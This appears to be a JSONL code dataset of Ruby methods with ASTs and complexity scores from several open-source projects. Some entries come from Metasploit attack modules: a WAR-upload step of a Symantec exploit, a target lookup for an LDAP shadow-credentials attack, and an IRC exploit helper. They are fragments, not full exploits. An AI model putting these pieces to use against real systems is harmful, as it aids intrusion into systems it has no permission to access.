{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/smf2.rb","start_line":461,"raw_source":"def find_smf_attachment_path(attachment_id, file_hash, filename)\n    cleaned_name = filename.dup\n    TRTR_TABLE.each { |from, to| cleaned_name.gsub!(from, to) }\n    cleaned_name.gsub!(/\\s/, \"_\")\n    cleaned_name.gsub!(/[^\\w_\\.\\-]/, \"\")\n    legacy_name =\n      \"#{attachment_id}_#{cleaned_name.gsub(\".\", \"_\")}#{Digest::MD5.hexdigest(cleaned_name)}\"\n\n    [filename, \"#{attachment_id}_#{file_hash}\", legacy_name].map do |name|\n        File.join(options.smfroot, \"attachments\", name)\n      end\n      .detect { |file| File.exist?(file) }\n  end","complexity_score":20.1,"ast_json":"{\"type\":\"def\",\"children\":[\"find_smf_attachment_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment_id\"]},{\"type\":\"arg\",\"children\":[\"file_hash\"]},{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cleaned_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"dup\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TRTR_TABLE\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from\"]},{\"type\":\"arg\",\"children\":[\"to\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cleaned_name\"]},\"gsub!\",{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"lvar\",\"children\":[\"to\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cleaned_name\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cleaned_name\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^\\\\w_\\\\.\\\\-]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"legacy_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment_id\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cleaned_name\"]},\"gsub\",{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"str\",\"children\":[\"_\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"MD5\"]},\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"cleaned_name\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment_id\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_hash\"]}]}]},{\"type\":\"lvar\",\"children\":[\"legacy_name\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"smfroot\"]},{\"type\":\"str\",\"children\":[\"attachments\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}]}","id":"f928af1b-9d7f-48db-ab70-2ead787a0336"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb","start_line":199,"raw_source":"def upload_war(war_name, war, dst)\n    result = false\n    java_file = build_java_file_info(\"#{dst}#{war_name}\", war)\n    java_file = Rex::Text.encode_base64(java_file)\n\n    res = put_file(java_file)\n\n    if res && res =~ /ReturnObject.*StatusMessage.*Boolean/\n      result = true\n    end\n\n    result\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_war\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"war_name\"]},{\"type\":\"arg\",\"children\":[\"war\"]},{\"type\":\"arg\",\"children\":[\"dst\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"java_file\",{\"type\":\"send\",\"children\":[null,\"build_java_file_info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dst\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"war_name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"war\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"java_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"java_file\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"put_file\",{\"type\":\"lvar\",\"children\":[\"java_file\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ReturnObject.*StatusMessage.*Boolean\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"6702fda2-542f-457b-b0ad-75524e8209d8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/postgres/byteorder.rb","start_line":14,"raw_source":"def byte_order\n    if [0x12345678].pack(\"L\") == \"\\x12\\x34\\x56\\x78\" \n      BigEndian\n    else\n      LittleEndian\n    end\n  end","complexity_score":3.55,"ast_json":"{\"type\":\"def\",\"children\":[\"byte_order\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[305419896]}]},\"pack\",{\"type\":\"str\",\"children\":[\"L\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"\\u00124Vx\"]}]},{\"type\":\"const\",\"children\":[null,\"BigEndian\"]},{\"type\":\"const\",\"children\":[null,\"LittleEndian\"]}]}]}","id":"8c135250-ce93-4cad-bf5f-3403d6938f76"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/abstract_work_package.rb","start_line":71,"raw_source":"def expect_tab(tab)\n      expect(page).to have_css(\".op-tab-row--link_selected\", text: tab.to_s.upcase)\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_tab\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tab\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".op-tab-row--link_selected\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tab\"]},\"to_s\"]},\"upcase\"]}]}]}]}]}]}","id":"1d7ba8b5-bdf5-488a-98e7-0789f0a2bad2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/settings/two_factor_authentication/webauthn_credentials_controller.rb","start_line":65,"raw_source":"def destroy\n        credential = current_user.webauthn_credentials.find_by(id: params[:id])\n        if credential\n          credential.destroy\n          if credential.destroyed?\n            flash[:success] = I18n.t('webauthn_credentials.destroy.success')\n\n            if current_user.webauthn_credentials.empty?\n              UserMailer.webauthn_disabled(current_user).deliver_later!\n            else\n              UserMailer.webauthn_credential_deleted(current_user, credential).deliver_later!\n            end\n          else\n            flash[:error] = I18n.t('webauthn_credentials.destroy.error')\n          end\n        else\n          flash[:error] = I18n.t('webauthn_credentials.destroy.error')\n        end\n        redirect_to settings_two_factor_authentication_methods_path\n      end","complexity_score":41.8,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"credential\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"webauthn_credentials\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential\"]},\"destroy\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential\"]},\"destroyed?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"webauthn_credentials.destroy.success\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"webauthn_credentials\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserMailer\"]},\"webauthn_disabled\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"deliver_later!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserMailer\"]},\"webauthn_credential_deleted\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"credential\"]}]},\"deliver_later!\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"webauthn_credentials.destroy.error\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"webauthn_credentials.destroy.error\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"settings_two_factor_authentication_methods_path\"]}]}]}]}","id":"e45f6714-866c-4380-a631-3ca8818ea81d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_schedule.rb","start_line":379,"raw_source":"def rails_interval\n    case run_at.fetch_path(:interval, :unit).to_s.downcase\n    when \"minutely\" then :minutes\n    when \"hourly\" then   :hours\n    when \"daily\" then    :days\n    when \"weekly\" then   :weeks\n    when \"monthly\" then  :months\n    when \"once\" then     nil\n    end\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"rails_interval\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_at\"]},\"fetch_path\",{\"type\":\"sym\",\"children\":[\"interval\"]},{\"type\":\"sym\",\"children\":[\"unit\"]}]},\"to_s\"]},\"downcase\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"minutely\"]},{\"type\":\"sym\",\"children\":[\"minutes\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"hourly\"]},{\"type\":\"sym\",\"children\":[\"hours\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"daily\"]},{\"type\":\"sym\",\"children\":[\"days\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"weekly\"]},{\"type\":\"sym\",\"children\":[\"weeks\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"monthly\"]},{\"type\":\"sym\",\"children\":[\"months\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"once\"]},{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"cf6f0e08-dff4-4c61-8e44-3fc0b5d32e78"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/disk.rb","start_line":74,"raw_source":"def volumes\n    partitions.collect(&:volumes).flatten.uniq\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"volumes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"partitions\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"volumes\"]}]}]},\"flatten\"]},\"uniq\"]}]}","id":"e04893c9-dec1-4219-a0af-2368ccb1341e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-post-voting/extensions/topic_view_serializer_extension.rb","start_line":48,"raw_source":"def last_answer_post_number\n      object.topic.last_answer_post_number\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"last_answer_post_number\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},\"last_answer_post_number\"]}]}","id":"2b712316-6528-46ce-a325-19954cbceb88"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/pid_file.rb","start_line":29,"raw_source":"def create(remove_on_exit = true)\n    FileUtils.mkdir_p(File.dirname(@fname))\n    File.open(@fname, \"w\") { |f| f.write(Process.pid) }\n    at_exit { PidFile.remove(@fname) } if remove_on_exit\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"remove_on_exit\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"ivar\",\"children\":[\"@fname\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"ivar\",\"children\":[\"@fname\"]},{\"type\":\"str\",\"children\":[\"w\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"pid\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remove_on_exit\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"at_exit\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PidFile\"]},\"remove\",{\"type\":\"ivar\",\"children\":[\"@fname\"]}]}]},null]}]}]}","id":"9b3dabe8-df34-4bec-a33d-60ee11ebcad9"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/delivery_policy.rb","start_line":4,"raw_source":"def clear_delivery_errors?\n    role.can?(:manage_federation)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_delivery_errors?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_federation\"]}]}]}","id":"606c2126-0e14-4f60-ac09-de2ebfcc62d9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/ldap/shadow_credentials.rb","start_line":91,"raw_source":"def get_target_account\n    target_account = datastore['TARGET_USER']\n    if target_account.blank?\n      fail_with(Failure::BadConfig, 'The TARGET_USER option must be specified for this action.')\n    end\n\n    obj = adds_get_object_by_samaccountname(@ldap, target_account)\n    if obj.nil? && !target_account.end_with?('$')\n      obj = adds_get_object_by_samaccountname(@ldap, \"#{target_account}$\")\n    end\n    fail_with(Failure::NotFound, \"Failed to find sAMAccountName: #{target_account}\") unless obj\n\n    obj\n  end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"get_target_account\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_account\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGET_USER\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_account\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"The TARGET_USER option must be specified for this action.\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"obj\",{\"type\":\"send\",\"children\":[null,\"adds_get_object_by_samaccountname\",{\"type\":\"ivar\",\"children\":[\"@ldap\"]},{\"type\":\"lvar\",\"children\":[\"target_account\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_account\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"$\"]}]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"obj\",{\"type\":\"send\",\"children\":[null,\"adds_get_object_by_samaccountname\",{\"type\":\"ivar\",\"children\":[\"@ldap\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_account\"]}]},{\"type\":\"str\",\"children\":[\"$\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to find sAMAccountName: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_account\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"obj\"]}]}]}","id":"664da7a0-8f0a-4ae4-99e9-43ad27da9e7a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module/network.rb","start_line":29,"raw_source":"def target_port\n    self.respond_to?('rport') ? rport : self.datastore['RPORT']\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"target_port\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"respond_to?\",{\"type\":\"str\",\"children\":[\"rport\"]}]},{\"type\":\"send\",\"children\":[null,\"rport\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]}]}","id":"1cefc52c-bada-4f8e-8f1b-4f0f7e700ca9"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/metrics/measure/tag_servers_measure.rb","start_line":28,"raw_source":"def sql_query_string\n    <<~SQL.squish\n      SELECT axis.*, (\n        WITH tag_servers AS (\n          SELECT DISTINCT accounts.domain\n          FROM statuses\n          INNER JOIN statuses_tags ON statuses.id = statuses_tags.status_id\n          INNER JOIN accounts ON statuses.account_id = accounts.id\n          WHERE statuses_tags.tag_id = :tag_id\n            AND statuses.id BETWEEN :earliest_status_id AND :latest_status_id\n            AND date_trunc('day', statuses.created_at)::date = axis.period\n        )\n        SELECT COUNT(*) FROM tag_servers\n      ) AS value\n      FROM (\n        #{generated_series_days}\n      ) as axis\n    SQL\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sql_query_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT axis.*, (\\n\"]},{\"type\":\"str\",\"children\":[\"  WITH tag_servers AS (\\n\"]},{\"type\":\"str\",\"children\":[\"    SELECT DISTINCT accounts.domain\\n\"]},{\"type\":\"str\",\"children\":[\"    FROM statuses\\n\"]},{\"type\":\"str\",\"children\":[\"    INNER JOIN statuses_tags ON statuses.id = statuses_tags.status_id\\n\"]},{\"type\":\"str\",\"children\":[\"    INNER JOIN accounts ON statuses.account_id = accounts.id\\n\"]},{\"type\":\"str\",\"children\":[\"    WHERE statuses_tags.tag_id = :tag_id\\n\"]},{\"type\":\"str\",\"children\":[\"      AND statuses.id BETWEEN :earliest_status_id AND :latest_status_id\\n\"]},{\"type\":\"str\",\"children\":[\"      AND date_trunc('day', statuses.created_at)::date = axis.period\\n\"]},{\"type\":\"str\",\"children\":[\"  )\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT COUNT(*) FROM tag_servers\\n\"]},{\"type\":\"str\",\"children\":[\") AS value\\n\"]},{\"type\":\"str\",\"children\":[\"FROM (\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generated_series_days\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\") as axis\\n\"]}]},\"squish\"]}]}","id":"cff0aa74-1594-47f1-92e3-72baed6cf3a6"}
{"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/gist_tag.rb","start_line":56,"raw_source":"def valid_link?(link)\n    (link =~ VALID_LINK_REGEXP)&.zero?\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_link?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"=~\",{\"type\":\"const\",\"children\":[null,\"VALID_LINK_REGEXP\"]}]}]},\"zero?\"]}]}","id":"af55be29-a135-4d69-94ac-17126142ace5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb","start_line":156,"raw_source":"def quit(sock)\n    quit_msg = \"QUIT :bye bye\\r\\n\"\n    sock.put(quit_msg)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"quit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sock\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quit_msg\",{\"type\":\"str\",\"children\":[\"QUIT :bye bye\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"quit_msg\"]}]}]}]}","id":"95084280-56a5-4ddf-a751-320c77dab359"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notification_service.rb","start_line":656,"raw_source":"def issue_due(issue)\n    recipients = NotificationRecipients::BuildService.build_recipients(\n      issue,\n      issue.author,\n      action: 'due',\n      custom_action: :issue_due,\n      skip_current_user: false\n    )\n\n    recipients.each do |recipient|\n      mailer.send(:issue_due_email, recipient.user.id, issue.id, recipient.reason).deliver_later\n    end\n  end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"issue_due\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"recipients\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationRecipients\"]},\"BuildService\"]},\"build_recipients\",{\"type\":\"lvar\",\"children\":[\"issue\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"author\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"due\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_action\"]},{\"type\":\"sym\",\"children\":[\"issue_due\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_current_user\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recipients\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recipient\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mailer\"]},\"send\",{\"type\":\"sym\",\"children\":[\"issue_due_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recipient\"]},\"user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recipient\"]},\"reason\"]}]},\"deliver_later\"]}]}]}]}","id":"37fa94be-a55a-45b1-a3ed-991f674e407d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/network_error.rb","start_line":63,"raw_source":"def increment(object)\n      key = object.is_a?(BulkImports::Entity) ? entity_cache_key(object) : tracker_cache_key(object)\n\n      Gitlab::Cache::Import::Caching.increment(key)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"increment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BulkImports\"]},\"Entity\"]}]},{\"type\":\"send\",\"children\":[null,\"entity_cache_key\",{\"type\":\"lvar\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[null,\"tracker_cache_key\",{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Cache\"]},\"Import\"]},\"Caching\"]},\"increment\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}","id":"47228b54-2b2d-4eb7-ace0-7b013666d117"}
